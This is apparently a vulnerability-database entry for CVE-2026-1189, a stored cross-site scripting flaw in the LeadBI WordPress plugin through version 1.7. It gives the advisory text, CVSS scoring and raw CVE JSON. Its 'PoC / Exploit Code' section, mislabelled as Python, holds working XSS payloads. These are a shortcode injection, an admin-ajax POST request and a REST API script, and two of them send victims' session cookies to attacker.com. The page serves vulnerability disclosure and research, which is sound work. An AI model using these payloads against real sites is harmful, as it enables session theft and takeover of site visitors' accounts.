Security Vulnerability Report
中文
CVE-2026-1189 CVSS 6.4 MEDIUM

CVE-2026-1189

Published: 2026-01-24 09:15:54
Last Modified: 2026-04-15 00:35:42

Description

The LeadBI Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_id' parameter of the 'leadbi_form' shortcode in all versions up to, and including, 1.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LeadBI Plugin for WordPress <= 1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress LeadBI Plugin XSS PoC - CVE-2026-1189 --> <!-- Author: Security Researcher --> <!-- Target: LeadBI Plugin <= 1.7 --> <!-- Method 1: Via WordPress Shortcode (Requires Contributor+ Access) --> [leadbi_form form_id='"><script>alert('XSS - CVE-2026-1189'); document.location='https://attacker.com/steal?cookie='+document.cookie</script>'] <!-- Method 2: Via POST Request (Simulating Shortcode Submission) --> <!-- POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [WordPress Contributor Session Cookie] action=leadbi_save_form&form_id="><script>alert(document.domain)</script>&form_data={"name":"Test Form"} --> <!-- Method 3: Exploitation Script --> <script> // Automatic cookie exfiltration const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?cookie=\'+btoa(document.cookie))">'; const formId = xssPayload; // Simulate shortcode insertion via WordPress REST API fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': window.wpApiSettings.nonce }, body: JSON.stringify({ content: '[leadbi_form form_id="' + formId + '"]', status: 'publish' }) }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1189", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:53.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LeadBI Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_id' parameter of the 'leadbi_form' shortcode in all versions up to, and including, 1.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin LeadBI para WordPress plugin de WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'form_id' del shortcode 'leadbi_form' en todas las versiones hasta la 1.7, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/leadbi/tags/1.7/includes/Plugin.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/leadbi/trunk/includes/Plugin.php#L72", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/leadbi/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3a196eaa-64c7-447b-9384-b58fcba57ec0?source=cve", "source": "[email protected]"}]}}